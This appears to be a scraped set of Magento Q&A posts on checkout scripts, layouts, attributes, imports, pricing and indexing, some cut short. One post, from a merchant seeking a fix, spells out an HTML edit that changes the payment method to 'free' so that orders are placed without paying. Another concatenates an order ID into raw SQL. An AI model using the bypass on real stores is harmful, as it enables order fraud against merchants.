texts: Showing custom alert message after quote updated in Magento 2

texts:
I am trying to show the custom alert message after quote updated, for these, I have overwritten the ajaxSubmit method from catalog-add-to-cart.js file like below.

$.ajax({
                url: form.attr('action'),
                data: formData,
                type: 'post',
                dataType: 'json',
                cache: false,
                contentType: false,
                processData: false,

                /** @inheritdoc */
                beforeSend: function () {
                    if (self.isLoaderEnabled()) {
                        $('body').trigger(self.options.processStart);
                    }
                },

                /** @inheritdoc */
                success: function (res) {
                    var eventData, parameters;

                    $(document).trigger('ajax:addToCart', {
                        'sku': form.data().productSku,
                        'productIds': productIds,
                        'form': form,
                        'response': res
                    });

                    if (self.isLoaderEnabled()) {
                        $('body').trigger(self.options.processStop);
                    }

                    if (res.backUrl) {
                        eventData = {
                            'form': form,
                            'redirectParameters': []
                        };
                        // trigger global event, so other modules will be able add parameters to redirect url
                        $('body').trigger('catalogCategoryAddToCartRedirect', eventData);

                        if (eventData.redirectParameters.length > 0) {
                            parameters = res.backUrl.split('#');
                            parameters.push(eventData.redirectParameters.join('&'));
                            res.backUrl = parameters.join('#');
                        }

                        self._redirect(res.backUrl);

                        return;
                    }

                    if (res.messages) {
                        $(self.options.messagesSelector).html(res.messages);
                    }

                    if (res.minicart) {
                        $(self.options.minicartSelector).replaceWith(res.minicart);
                        $(self.options.minicartSelector).trigger('contentUpdated');
                    }

                    if (res.product && res.product.statusText) {
                        $(self.options.productStatusSelector)
                            .removeClass('available')
                            .addClass('unavailable')
                            .find('span')
                            .html(res.product.statusText);
                    }
                    self.enableAddToCartButton(form);
                },

                /** @inheritdoc */
                complete: function (res) {
                    if (res.state() === 'rejected') {
                        location.reload();
                    }
                }
            });

after completing these I have written below code to show the Custom Alert.

$.ajax({

                url: 'http://192.168.10.144/magento23/test',
                data: {},
                type: 'post',
                dataType: 'json',
                beforeSend: function() {

                },
                success: function(res) {
                    alert(res);
                }

            });

But when I debugged my code in controller quote is not updated. Is there any possibility to get quote data on here? or I went wrong?

Suggest us to show the alert message after updated quote.


texts: Magento 2: How to show address field in registration form?

texts:
I want to display address fields (to save in default billing address) in customer registration form. I know how to do in Magento 1. But I'm struck with Magento 2. Have anybody done this before ..?

Any xml file update like in magento 1,

<customer_account_create>
    <reference name="customer_form_register">
        <action method="setData"><key>show_address_fields</key><value>1</value></action>
    </reference>
</customer_account_create>


texts: Google Adward Conversion Tracking in magento

texts:
We have recently set up a Magento community site running 1.9.0.1 having moved from go.

We are trying to set up the google AdWords conversion tracking, there is a piece of code that they want placing on the success page.

Where is this located in 1.9.0.1?


texts: Multi-site Group-pricing & Special Pricing

texts:
When creating group pricing on a multisite install, we just use ALL WEBSITES.

We have a lot of 'websites' but only 1 or 2 have special or customer group pricing.

In terms of speed & performance, is it better to apply group/tier pricing to ALL WEBSITES or specify the website? The latter seems to create fewer database entries.

Or does it not matter at all?


texts:
I have installed porto theme on Magento 2.3.5p1 version.

After installing theme it shows error like:

ReferenceError: mageplazaSearchProducts is not defined

I have checked that one file default_0.js created in

pub/media/mageplaza/search

but found that there is missing values for mageplazaSearchProducts.

var mageplazaSearchProducts =

can anyone suggest me how to solve this error ??


texts: Magento Flat Table Attributes and Backend Models

texts:
I created a new attribute for orders using the following:

$installer =  new Mage_Sales_Model_Mysql4_Setup('core_setup');
$installer->startSetup();

$installer->addAttribute('order', 'erp_associated_ids',  array(
    'user_defined'  => true,
    'type' => 'varchar',
    'backend' => 'mycompany_mymodule/adminhtml_system_config_backend_csv',
    'label' => 'Associated Order IDs',
    'input' => 'text',
    'source' => '',
    'visible' => true,
    'required' => false,
    'default' => '',
    'frontend' => '',
    'unique' => false,
    'note' => 'CSV of order IDs'
));

$installer->endSetup();

I then created a backend model:

app/code/local/Mycompany/Mymodule/Model/Adminhtml/System/Config/Backend/Csv.php

class Mycompany_Mymodule_Model_Adminhtml_System_Config_Backend_Csv extends Mage_Core_Model_Config_Data {

    protected function _afterLoad()
    {
        if (is_string($this->getValue())) {
            $value = $this->getValue();
            $this->setValue(empty($value) ? false : explode(',', $value));
        }
    }

    protected function _beforeSave()
    {
        if (is_array($this->getValue())) {
            $this->setValue(implode(',', $this->getValue()));
        }
    }
}

The idea being that I can do the following:

Mage::getModel('sales/order')
    ->load(25)
    ->setErpAssociatedIds(array('12345', '98765'))
    ->save();

And that the backend model would convert the array to a CSV string like '12345,98765'. (I want a CSV because it's easier to search using pure MySQL than a serialized array.)

However, when I try to save this attribute I just get Array in the database.

I would assume that this stems from attributes created for flat tables not having an entry in eav_attribute which would note which backend_model I want to use. However, I feel like I must be missing something. Do flat tables not use backend models at all? Am I going to have to extend Mage_Sales_Model_Order to pull this off?


texts: Elevatezoom not working in version 1.9.1.0

texts:
Recently I have had the web developer to update my website from 1.9.0.1 to 1.9.1.0 and my product zoom (Elevatezoom / RWD Theme) stopped working. I also can't contact the web developer since he moved country.

Did anyone else also had this problem? If so, how do I fix it?

EDIT: FIXED

I looked inside some files (/skin/frontend/rwd/default/js/app.js) and realized that image.elevateZoom(); was commented, so all I did was delete the comment, and runned it. it worked.


texts:
Trying to downgrade Magento from version 2.4 using PHP 7.4 to Magento 2.3.x
I followed Magento docs to


texts:
I have created a custom module with ui_component grid, below is my grid xml file :

...
<massaction name="listing_massaction">
    <argument name="data" xsi:type="array">
        <item name="config" xsi:type="array">
            <item name="selectProvider" xsi:type="string">module_record_custom_list.module_record_custom_list.jbs_module_custom_columns.ids</item>
            <item name="component" xsi:type="string">Magento_Ui/js/grid/tree-massactions</item>
            <item name="indexField" xsi:type="string">entity_id</item>
        </item>
    </argument>
    <!-- Mass actions which you want to add in your grid-->
    <action name="delete">
        <argument name="data" xsi:type="array">
            <item name="config" xsi:type="array">
                <item name="type" xsi:type="string">delete</item>
                <item name="label" xsi:type="string" translate="true">Delete</item>
                <item name="url" xsi:type="url" path="module/custom/massdelete"/>
                <item name="confirm" xsi:type="array">
                    <item name="title" xsi:type="string" translate="true">Delete</item>
                    <item name="message" xsi:type="string" translate="true">Do you want to delete selected row record?</item>
                </item>
            </item>
        </argument>
    </action>
</massaction>
...

And Created a controller file MassDelete.php :

<?php
namespace Package\Module\Controller\Adminhtml\Custom;

use Magento\Framework\Controller\ResultFactory;
use Magento\Backend\App\Action\Context;
use Magento\Ui\Component\MassAction\Filter;
use Package\Module\Model\ResourceModel\Custom\CollectionFactory;
//use Jbs\CustomStore\Helper\Data;

class MassDelete extends \Magento\Backend\App\Action
{
    public $request;
    /**
     * Massactions filter.
     *
     * @var Filter
     */
    protected $_filter;

    /**
     * @var CollectionFactory
     */
    protected $_collectionFactory;
    //protected $_customstorehelper;

    /**
     * @param Context           $context
     * @param Filter            $filter
     * @param CollectionFactory $collectionFactory

        Data $helper
     */
    public function __construct(
        Context $context,
        Filter $filter,
        CollectionFactory $collectionFactory,
        \Magento\Framework\App\Request\Http $request
    )
    {
        $this->request = $request;
        $this->_filter = $filter;
        $this->_collectionFactory = $collectionFactory;
        //$this->_customstorehelper = $helper;
        parent::__construct($context);
    }

    /**
     * @return \Magento\Backend\Model\View\Result\Redirect
     */
    public function execute()
    {
        $collection = $this->_filter->getCollection($this->_collectionFactory->create());
        $collectionSize = $collection->getSize();
        foreach ($collection as $item)
        {
            $item->delete();
        }
        $this->messageManager->addSuccess(
            __('A total of %1 record(s) have been deleted.', $collectionSize)
        );

        return $this->resultFactory->create(ResultFactory::TYPE_REDIRECT)->setPath('*/*/');
    }
}

But on select Delete from dropdown I'm getting error as below :

"Invalid method Magento\Framework\View\Element\UiComponent\DataProvider\Document::delete"

Where am I doing wrong?


texts: How to Hide/Show Customer attribute based on customer group in Admin panel Magento 2?

texts: How to Hide/Show Customer attribute when the customer group is switched from general to the wholesale group?.


texts: Newsletter Bot Subscriber- How can protect site with this attack

texts:
When we check the server log and know that someone subscribes newsletter with

  188.92.74.189 - - [01/Jan/2019:03:09:06 -0500] "POST /newsletter/subscriber/new/ HTTP/1.1" 302 - "SITE_URL" "Mozilla/5.0
  (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko"

  SITE_URL is current site base URL only.

This is bot subscriber Check

I have to write log and know that BOT send POST data like`

(
    [email] => dubbeld535@gmail.com
    [form_key] => Z1duNZ5JgtcQ97VM
)

All security patch installed
Google recaptcha already added to form.
Added Form_key on form and validate on the controller.

Did anyone know that How Bot can validate form_key?
They are sending POST request directly to the controller, so Google recaptcha doesn't work on this.


texts: Set Default Sort By Name using Layout in Magento 2

texts:
I have added the listing of products on the custom page. By default sort by is Position. I have to change it to By default by Name.

<referenceblock class="Magento\Catalog\Block\Product\ListProduct" name="category.products.list" as="product_list">
            <action method="setDefaultDirection">
                <argument name="dir" xsi:type="string">desc</argument>
            </action>
</referenceblock>

Above code is working for the direction but when I'm using setDefaultSortBy getting the error it's invalid.


texts:
By Default if we see at category page (listing page) it's show product collection of category but I want to change it.

What I want to do is below.

For ex: I have category test and it has subcategory demo1 , demo2 , demo3 , demo4 and all these demo subcategory have products.

SO if I open test category then I want to show all demo subcategory with it's name , image and product count not test category products.

After that when I click on any subcategory like demo1 then it's show product collection of demo1 category.

How can I get this?


texts: Grouped product (simple product sorting on price) Magento 2

texts:
In Magento 2.2 on the product view page is it possible to sort the simple products of a grouped product based on price (or any other attribute)?

At the moment they seem to be sorting randomly.

I know that you can change sort order when editing grouped product in admin panel, but this is not realistic when confronted with hundreds of products.


texts: System configuration custom source model error

texts:
I'm trying to create an System configuration section with custom field values

This is my code:

  system.xml

<?xml version="1.0"?>
<config>
    <tabs>
        <macerierconf translate="label">
            Macerier
            <sort_order>150</sort_order>
        </macerierconf>
    </tabs>
    <sections>
        <tab1 translate="label" module="adminhtml">
            Settings
            <tab>macerierconf</tab>
            <sort_order>100</sort_order>
            <show_in_default>1</show_in_default>
            <show_in_website>1</show_in_website>
            <show_in_store>1</show_in_store>
            <groups>
                <smssending translate="label comment">
                    test label
                    <sort_order>60</sort_order>
                    <show_in_default>1</show_in_default>
                    <show_in_website>1</show_in_website>
                    <show_in_store>1</show_in_store>
                    <fields>
                        <device translate="label comment">
                            Device
                            <frontend_type>select</frontend_type>
                            <source_model>macerier_test/system_config_source_dropdown_values</source_model>
                            <sort_order>30</sort_order>
                            <show_in_default>1</show_in_default>
                            <show_in_website>0</show_in_website>
                            <show_in_store>0</show_in_store>
                        </device>
                    </fields>
                </smssending>
            </groups>
        </tab1>
    </sections>
</config>

  config.xml

<?xml version="1.0"?>
<config>
    <modules>
        <Macerier_TEST>
            <version>0.1.0</version>
        </Macerier_TEST>
    </modules>
    <global>
        <models>
            <macerier_test>
                <class>Macerier_TEST_Model</class>
            </macerier_test>
        </models>
    </global>
</config>

  then in Macerier\TEST\Model\System\Config\Source\Dropdown\Values.php I have this:

<?php

class Macerier_TEST_Model_System_Config_Source_Dropdown_Values
{
    public function toOptionArray()
    {
        return array(
            array(
                'value' => 'key1',
                'label' => 'Value 1',
            ),
            array(
                'value' => 'key2',
                'label' => 'Value 2',
            ),
        );
    }
}

and I get this error:

  PHP Fatal error:  Call to a member function toOptionArray() on a non-object in /home/user/public_html/magento/app/code/core/Mage/Adminhtml/Block/System/Config/Form.php on line 463

I am sure I'm doing something wrong here because without the custom source model the module is working.


texts: Fetch a custom Product Option from the title

texts:
I made a custom option from the admin for a product and set a title for the option. However when I programmatically fetch all the options for that product the attribute is identified by a code which is "option_1" and the title is no where to be found.

Is there a way to fetch this option by the title that I set or at least access the title from the option object?


texts: csv import shows category does not exist for already existing categories

texts:
Am using Magento version 1.8.1. Created categories in admin and prepared the CSV file filling out all the categories for the products.

when importing am getting error "category does not exist in row .." when i checked the csv file the categories are all there. Checked for the case sensitivity too. I used find method in the browser and the categories are found.

Import error

My categories in admin

My CSV file.

Please advice me to solve this issue. Thanks.

UPDATE
Saving the csv file to UTF-8 Solved the issue. But after that when i import, i get errors on other categories.
Some category rows in csv file are  Apparel/Girls Clothes 2T - 4T/Dresses - Daywear
 Madame Alexander/Supplements For Dolls/Doll Clothes 16" And Up
I get category not exist where ever i have the (-),(") and numbers in category names in CSV.Checked for the spaces and case-sensitivities and its all correct.
Please help me to solve this issue..


texts: Magento 2.4 How created dynamic custom category layout?

texts:
How i can create dynamic custom layout for each Category and Category page?

I can used catalog_category_view_id_{{id}}.xml and created custom layout for current Category{{id}} like this: http://sumankc.com/2016/12/10/different-template-for-different-categories-in-magento-2-category_id-layout-handle-in-m2/
Example: I created catalog_category_view_id_10_customLayout.xml for my category with id 10.

But i don't know how i can use my custom layout for Category without additional manipulation in code.
Tell me how I can do this, please. Thank you so much!


texts: PHP to show sale badge not working correctly

texts:
I am trying to display a sale badge over the image of products with a special price on the catalog and product pages.

I have used the following PHP:

<?php // sale badge ?>
<?php
    $specialPrice = $_product->getSpecialPrice();
    $specialPriceFromDate = $_product->getSpecialFromDate();
    $specialPriceToDate   = $_product->getSpecialToDate();
?>
<?php if ($specialPrice || ($currentDate >= $specialPriceFromDate && $currentDate <= $specialPriceToDate) || ($currentDate >= $specialPriceFromDate && $specialPriceFromDate != '' && $specialPriceToDate == '')): ?>
    <?php echo $this->__('Sale') ?>
<?php endif; ?>

This displays the badge correctly unless the special price to date has passed when it still displays the badge even though the product is no longer at the special price.

The idea is for the badge to display in the following scenarios:

there are no special from or special to dates set (i.e. the product is permanently on special until manually altered)
there is a from date but no to date (i.e. once the from date passes the product is permanently on special until manually altered)
there is no from date but there is a to date (i.e. the product is on special until the to date passes)
there is a from and a to date (i.e. the product is only on special within the defined period)

I am sure I have just missed something obvious but can someone point out what it is please?


texts: Remove additional comma in Magento-2 price

texts:
There is an additional comma in the product price .. you can see live :
https://clothat.com/elnaksha-1.html

I want to remove it .. and is this problem related with the Arabic Language ?


texts: Magento 2: How to custom tablebuilder in indexer to create custom table?

texts:
I want create custom table with tablebuilder in indexer!

So who can help me pls?


texts: Payment method Zero Subtotal Checkout hack

texts:
In one of our Magento stores we were receiving orders with payment method 'Zero subtotal checkout' or as it says in the order grid 'No payment information required'. But actually the orders had a subtotal larger than zero, order amounts were up to € 500,-.

In the logs, we found these orders were pushed to Paypal somehow, but were never paid.

After some digging we found out what was happening.

In the checkout, open up your browser code inspector and change the input for for example Paypal:

<input id="p_method_paypal_standard" value="paypal_standard" name="payment[method]" title="PayPal" class="radio validate-one-required-by-name" type="radio">

To:

<input id="free-payment-method" value="free" name="payment[method]" title="PayPal" class="free validation-passed" type="radio" checked="checked">

Then click Finish Order, you'll end up at Paypal, you just close that screen. The order is already in Magento with status No payment information required, and in our case Processing, which normally is the sign for 'OK, let's ship this'.

So we thought of the following solutions:

Disable the payment method Zero Subtotal Checkout. But we need to
have the Zero subtotal checkout payment enabled, because we use store
credit and some coupon codes with 100% discount, so it's necessary to
have this one enabled.
Set the New Order status to Pending. This prevents the order from being shipped, but of course this also goes for orders that are legitimate.

For now we have chosen the latter.

What would be a better solution? Can this be prevented somehow, while maintaing the Zero Subtotal Checkout functionality?


texts: checkout session reset after creating order $this->_quoteManagement->submit($quote)

texts:
I am trying to create order pragmatically using
$quote = $this->_checkoutSession->getQuote();
$this->_checkoutSession->setLastQuoteId($quote->getId())
                       ->setLastSuccessQuoteId($quote->getId())
                       ->clearHelperData();

$quote->collectTotals();

$order =  $this->_quoteManagement->submit($quote);
$this->_checkoutSession->setLastOrderId($order->getId())
                        ->setLastRealOrderId($order->getIncrementId())
                        ->setLastOrderStatus($order->getStatus());

but when I var_dump $this->_checkoutSession->getLastSuccessQuoteId() , $this->_checkoutSession->getLastQuoteId()) and $this->_checkoutSession->getLastOrderId() . I am getting null.
Before
$this->_quoteManagement->submit($quote); I can get quote values in checkout session.
Because of this session reset I am redirecting to shopping cart page instead of Thank you (checkout/onepage/success/)page after checkout.
If i try to reset those values by
if (empty($this->_checkoutSession->getLastSuccessQuoteId()) || empty($this->_checkoutSession->getLastQuoteId()) || empty($this->_checkoutSession->getLastOrderId()) ) {
                        $this->_checkoutSession->setLastSuccessQuoteId($quote->getId());
                        $this->_checkoutSession->setLastQuoteId($quote->getId());
                        $this->_checkoutSession->setLastOrderId($order->getId());

}

It still redirect to cart page.
Also, the issue is occurring for existing customer purchase only.
The Magento version is used 2.2.6.
Is this issue related to Magento version? how can I fix this?


texts: Set opened state to inactive for bundle items tab in product edit page magento 2

texts:
How can I set opened state to inactive for bundle items tab in product edit page Magento 2 so that the tab is loaded only on click, not on page load. For more information: https://stackoverflow.com/questions/41947465/how-to-close-all-accordions-in-magento2-admin-product-detail-by-default

Thanks in Advance!


texts: Magento 2 Log Bundle Product Data in List Page?

texts:
How to Log Bundle Product Data (Print Product complete information)In Default Product list.phtml file in magento 2.I am Getting

 foreach ($_productCollection as $_product):

When I write echo $_product->getProductUrl() It is displaying correct product url.But When I tried to print the Entire Product Data by using print_r($_product->getData()); It is showing Blank Page I changed memory size but again showing blank page only (It is a bundle product) So atleast I want to Log that data in some test.log file for that I used $writer = new \Zend\Log\Writer\Stream(BP . '/var/log/test.log');
$logger = new \Zend\Log\Logger();
$logger->addWriter($writer);
$logger->info(print_r($_product->getData()), true); but the test.log file is empty.Can anyone Help me on this.


texts: Programitically created attribute displaying incorrect attribute options

texts:
I have written the following code to create an attribute in magento 1.9

$name = $data['name'];
$attributeSetId = $data['attributeSetId'];
$attributeGroupId = $data['attributeGroupId'];

//create a new attribute
$setup = new Mage_Eav_Model_Entity_Setup('core_setup');

$attribute = array(
  'type'              => 'varchar',
  'backend'           => '',
  'frontend'          => '',
  'label'             => $data['title'],
  'input'             => $data['type'],
  'class'             => '',
  'source'            => 'catalog/product_attribute_source_layout',
  'global'            => Mage_Catalog_Model_Resource_Eav_Attribute::SCOPE_STORE,
  'visible'           => true,
  'required'          => false,
  'user_defined'      => true,
  'default'           => '',
  'searchable'        => false,
  'filterable'        => false,
  'comparable'        => false,
  'visible_on_front'  => false,
  'unique'            => false
);

if(array_key_exists('options', $data) && !empty($data['options']) && $data['type'] == 'select') {
  Mage::log('adding select options to attribute');

  $values = array();

  foreach ($data['options'] as $option) {
    $values[$option['value']] = $option['label'];
  }

  $options = array(
    'values' => $values
  );

  $attribute['option'] = $options;

}

if(array_key_exists('isGlobal', $data) && !empty($data['isGlobal']) && $data['isGlobal']) {
  $attribute['global'] = 1;
}

if(array_key_exists('isConfigurable', $data) && !empty($data['isConfigurable']) && $data['isConfigurable']) {
  $attribute['is_configurable'] = 1;
}

$entityTypeId = $setup->getEntityTypeId('catalog_product');
$setup->addAttribute($entityTypeId, $name, $attribute);

Which is creating the attribute correctly in Magento, along with the attribute options. Which I can see are correct when I edit the attribute in the admin site.

However when I go to use the attribute on a product the attributes are incorrect.

Instead of being my options, for example (small,medium,large) I am seeing the following values in the dropdown (No layout updates, Empty, 1 column, 2 columns with left bar, 2 columns with right bar, 3 columns). Which are being pulled from the "Page Layout" attribute.

Elsewhere in my code I am pulling the attribute options out from the attribute, when I use the following code I get my correct options:

$options = Mage::getResourceModel('eav/entity_attribute_option_collection');
          $attributeOptions  = $options->setAttributeFilter($attribute->getId())
                                       ->setStoreFilter(Mage_Catalog_Model_Abstract::DEFAULT_STORE_ID)
                                       ->toOptionArray();

When I use the following code, it pulls out the incorrect attribute options:

$attributeOptions = $attribute->getSource()->getAllOptions(false);


texts:
Are default values for custom attributes taken into account at all?

Create a yes-no/dropdown/text attribute, set a defautl value, add it to an attribute set.
Open a poduct to edit it.

Expected result: The custom attribute has the given default value.

Actual result: The custom attribute has no value.

Why does this not work?


texts: Attribute Hierarchy: Parent-Child Relationship?

texts:
Is it possible to create a parent-child relationship with attributes?

A typical example is a list of base colours and you also want to specify their supplier names:

brown
--- walnut
--- chocolate
grey
--- grey melange
--- charcoal
blue
--- navy
--- powder blue

Ideally, you want the base colours appearing in any layered navigation/filters.


texts: How to render custom Shipping Address renderer

texts:
How to override this default shipping address renderer
vendor\magento\module-checkout\view\frontend\web\js\view\shipping-address\address-renderer\default.js

Magento have Documentation on this but some points are not clear
Source: https://devdocs.magento.com/guides/v2.2/howdoi/checkout/checkout_address.html

The address_type you need to specify in the layout, is the value you set in the JS model of your custom address type.

How to create JS model and specify address_type ?


texts:
I'm making an extension, which lets me add Company. Each Company can have many addresses (same as customer->customer_address). The target is, to let a customer use the address of his company (relation is made by a customer attribute).

What I'd like to achieve: Every time magento accesses the customer_address table, I want my module to add it's addresses too, so the customer has its "own" addresses and his companys addresses.

What is the best way to achieve this without breaking modularity?

Any ideas and or tips are appreciated.


texts: How to remove hundreds seperator from all prices

texts:
All prices on the lv_LV store view is displayed with hundreds separator(space) . Tried to change the <group> </group> to <group></group> in \vendor\magento\zendframework1\library\Zend\Locale\Data\lv.xml but it does not help.
Would the changes in following lines help? I have tried some but cannot get rid of the hundreds seperator

<currencyFormats numberSystem="latn">
    <currencyFormatLength>
        <currencyFormat type="standard">
            <pattern>¤#,##0.00</pattern>
        </currencyFormat>
        <currencyFormat type="accounting">
            <pattern>¤#,##0.00</pattern>
        </currencyFormat>
    </currencyFormatLength>
</currencyFormats>

UPDATE: Some changes to previously mentioned file led to some prices appear correctly, however some still are in format 10 99.99 which is really weird.


texts: Is this possible to install Magento 1.9.3 using the command line

texts:
I'm trying to create a Dockerfile for a little demo project and I was going to simply install the magento the way I want it with the commandline from Ununtu container.

I found some solutions (like this ) which suggest getting it from here, but the links are obviously outdated:

wget http://www.magentocommerce.com/downloads/assets/1.9.2.3/magento-1.9.2.3.tar.gz

Is there a valid direct link to 1.9.3 archive nowadays?


texts:
Is it possible my magento 2.1.6 to magento 2.1.0 because my magento theme only support max version magento 2.1.0 that's why my theme products and some pages css and js not working and also every time run the deploy command it shows 12 errors.
Any one let me help I tried that magento 2.1.6 to 2.1.0 it is shows some errors.


texts: Flat rate shipping option totally ignored

texts:
I have only one shipping method in my shop. $3.99 flat rate. Everything else is set to not be enabled.

Does anyone know why Magento would just ignore this shipping rule and apply what I can only imagine as a totally random $2.99 per item flat rate rule that is set nowhere in the cms?

I had some shipping plugins enabled once upon a time but they never really worked out. I have disabled them by going to app/module/xxx.xml and setting <active> to false, which appears to have removed the plugins from the admin. And when I say they never worked out I mean they did nothing. The plugins were so badly documented I never figured out how to set up their tiered systems and what have you. Only one I had working was USPS using their calculator, which is now disabled.

I cleared both standard caches in the cache management panel.

This is the only shipping option enabled:

This is the cart.
2 items x $2.99 = $5.98... clearly NOT $3.99 for this order, but yet you can see the Flat Rate - Fixed so it seems like it is pulling the name of this rule, just not the price or actual rule:

Magento 1.9.1.1 if that helps


texts: Magento2.2.6 Admin Session Timeout Not Working

texts: Something is wrong with the admin session timeout in Magento2.2.6. I have everything set to 1 day however it's all ignored. I get logged out if I'm inactive for 15 minutes. I have vendor/magento/module-encryption-key/etc/config.xml set to 86400 and here are screenshots of my PHP and admin settings and my cookie which shows an expiration date of tomorrow but I will have to login again despite everything appearing to be setup correctly, what else am I missing?


texts: I want to put category name in product page left column top, what to do?

texts:
I want to add category name in product page left column top, I have created new page called 2columns-left-product.phtml to display a product purpose. Now, I want to display a category name in left column. I just used this code,

but it didn't work for me.

It will return

  fatal error[ Fatal error: Call to a member function getCategoryIds()
  on a non-object in
  /home/mtccom/public_html/m/app/design/frontend/default/theme697/template/page/2columns-left-product.phtml
  on line 100].

Can you guide me to fix this.

I want to add a link to a category, My new code:


texts: Magento 2 - Remove last name from registration form

texts: How to remove the last name field in registration form?


texts: Which block method should be used for preparing data

texts:
In a standard template block i.e. extends Mage_Core_Block_Template, which method should be used for preparing required block data?

Is it beforeToHtml? or some other?

Im looking to find the most accepted way to load the block with the required data for it to render correctly.  For example if the block needs a collection or some other model of data, should this be loaded in the beforeToHtml method or  prepareLayout etc etc.


texts: Slow category page load time after programmatically adding products

texts:
Would there be any reason why a category page would take a considerably longer amount of time to load after adding products to the website via PHP? This is after reindexing and clearing cache, etc.

Example, after importing 43 config products and 800 simple products to an empty category, page load for that category becomes 12-15 seconds. I have other categories with many times that amount of products (that were added manually) that take only 2-3 seconds to load their pages.

Product pages for these newly imported products load just fine. All attributes show up fine.

Switching to default theme, just to make sure it was nothing on the frontend, doesn't make a difference.

No PHP errors show up in server's log at all, unless I tell it to load a lot of products on one page (100+) then I hit memory errors.

Here is a pastebin of the import code, not sure if it will help. It's looping through one CSV with the configurable product info, then a second CSV with pricing info for each simple product http://pastebin.com/WA7fuJQd


texts: Disable or customize fields in Checkout Form in Magento 2.x

texts:
How can I disable all fields in the checkout form?

I want the checkout form as it already exists in Magento 2, but with fields that cannot be edited by the user.

These fields will be loaded externally, so I need them not to be edited but the client can see them.

Thanks!


texts: Order success mail is not coming with dynamic value in magento 2.3.2

texts:
I've override the default.phtml file in for order success mail for dynamic value of storename. The below code will work when we send the order from admin panel but same code is not working when we placed the order the store name is missing on the mail.

Please help where i'm doing mistake.

File location -

  /home/top10/public_html/app/design/frontend/Magento/Vendorname/Magento_Sales/templates/email/items/order/default.phtml

    <?php

/** @var $block \Magento\Sales\Block\Order\Email\Items\DefaultItems */

/** @var $_item \Magento\Sales\Model\Order\Item */
$_item = $block->getItem();
$_order = $_item->getOrder();
    $objectManager = \Magento\Framework\App\ObjectManager::getInstance();

    if ($_order->getShippingMethod() == 'customerpickup_customerpickup') {

        $resource = $objectManager->get('Magento\Framework\App\ResourceConnection');
        $connection = $resource->getConnection();
        $order_id = $_order->getIncrementId();
        $sql = "SELECT `name` FROM `stores` WHERE `store_id` = (select store_id from clickncollect where order_id = '".$order_id."')";
        $result=$connection->fetchOne($sql);
        $store_name = "Click and Collect From ".$result;
    }else{
        $store_name = "";
    }
    ?>


texts: Magento : Catalog Price Rule Date Not Working Properly

texts:
I want to give some discounts for some products. Discount should start from a certain date, let's say 20/04/2017. This date is working fine if I use special price field in product management.

But when using Catalog price rule, this date is not working. I need to write 19/04/2017 in order for discount to work on 20/04/2017. What is wrong?


texts: Magento 2.1.9 Mailchimp Abandoned cart not working

texts:
I have tried following steps to setup Abandoned cart using Mailchimp module.

Setup

  Magento 2.1.9

  Default abandoned cart automation (series of 3 emails) in MailChimp
  Sync with MailChimp listed as complete - I can see recent customers listed on MailChimp and ecommerce data for recent orders, Total
  Products, Total Carts.
  Checked the table cron_schedule for the job_code ebizmarts_ecommerce and not found any error message
  Checked the table quote and confirmed that the quote was not converted.
  Checked the tablemailchimp_sync_ecommerce with type = QUO and related_id, and not found anything on mailchimp_sync_error table for
  this quote

Steps

  As a logged in user or guest, add items to cart and get to payment    step of checkout so that email address is captured in quote.
  Ensure that eCommerce CRON job is running
  Wait for whole day and maybe longer

Expected Result

  An abandoned cart email and listing at least 1 email sent in    MailChimp

Actual Result

  No email sent MailChimp lists
  0 emails sent out


texts:
I have an attribute called "Size" (Attribute Code = config_size, attribute_id = 146)
I need to re-name some of the entries but when I try and do it from Admin it doesn't change.
Where can I change the entry in the database?


texts: 500 server error when I re-index my website

texts:
When I reindex my website it takes forever and then gives me server 500 error. Is there anything I can do?

Thanks very much


texts: Magento 2 REST API: Products not saved correctly

texts:
I create products through the REST API (catalogProductRepositoryV1) using a POST request.

For some reason there is something different about these products. Just after creating them everything seems to work fine, but after a while (I haven't been able to figure when or why) they seem to break and any change to product attributes stops working.

If I for example change the name of a product it appears to work and saves correctly while on the edit page of the product. However the changes do not take effect and the name stays unchanged in the product list and in the shop. I obviously need to be able to update and change product.

I use the following body in the POST request:

{
    "saveOptions": true,
    "product": {
        "attribute_set_id": 10,
        "visibility": 4,
        "price": 125,
        "type_id": "virtual",
        "name": "CreatedThroughRest",
        "options": [
            {
                "product_sku": "test123",
                "title": "This is a gift",
                "type": "checkbox",
                "sort_order": 1,
                "is_require": false,
                "values": [
                    {
                        "title": "Yes",
                        "price": 0,
                        "price_type": "fixed",
                        "sku": "gift"
                    }
                ],
                "extension_attributes": {}
            }
        ],
        "extension_attributes": {
            "stock_item": {
                "manage_stock": false,
                "is_in_stock": true,
                "use_config_manage_stock": false
            }
        },
        "sku": "test123",
        "status": 2,
        "custom_attributes": [
            {
                "value": "1970-01-01 01:00:00",
                "attribute_code": "available_from_date"
            },
            {
                "value": "2032-02-26 11:04:02",
                "attribute_code": "available_to_date"
            }
        ]
    }
}

I also have a cron job for enabling/disabling product, where the exact same thing happens after the products break. I use addFieldToFilter('status',  \Magento\Catalog\Model\Product\Attribute\Source\Status::STATUS_DISABLED) to look for disabled products and after changing the status, it is no longer found by the product collection even though the status in the product list says disabled.

Image 1: List shows status "Disabled"

Image 2: Product edit page shows status "Enabled"


texts: Magento2: Pagination on listing page using static block

texts:
I have added a static block in the category
Static block content:

Category :

It shows all the products on a page. toolbar not showing:

How can I add the toolbar:


texts: The tax for shipping and handling is displayed twice on my PDF invoices

texts: We have a issue with our invoice grand total where the shipping tax is added twice.


texts: Magento 2 : get report of currency exchanged rates

texts: In Magento 2 Is there any way to get a report of currency exchanged rates?


texts: Magento 1.9 Stop Removal of Valid Elements in WYSIWYG

texts:
Rather frustratingly, I can see that magento's wysiwyg removes elements such as the picture element.

Digging around I can see that the TinyMCE editor is used and setup is hardcoded here:

  /magento1938/js/mage/adminhtml/wysiwyg/tiny_mce

Now, I can override the file, and use my own as follows:

<?xml version="1.0"?>
<layout>
    <default>
        <reference name="head">
            <action method="removeItem">
                <type>js</type>
                <name>mage/adminhtml/wysiwyg/tiny_mce/setup.js</name>
            </action>
            <action method="addItem">
                <type>skin_js</type>
                <name>js/path/to/your/tiny_mce_setup.min.js</name>
                <params/>
                <if/>
                <condition>can_load_tiny_mce</condition>
            </action>
        </reference>
    </default>
</layout>

Then add the following extended_valid_elements configuration to the setup, as per TinyMCE, to extend our valid elements:

extended_valid_elements : "img[align<bottom?left?middle?right?top|alt|border|class|dir<ltr?rtl|height"
            +"|hspace|id|ismap<ismap|lang|longdesc|name|onclick|ondblclick|onkeydown"
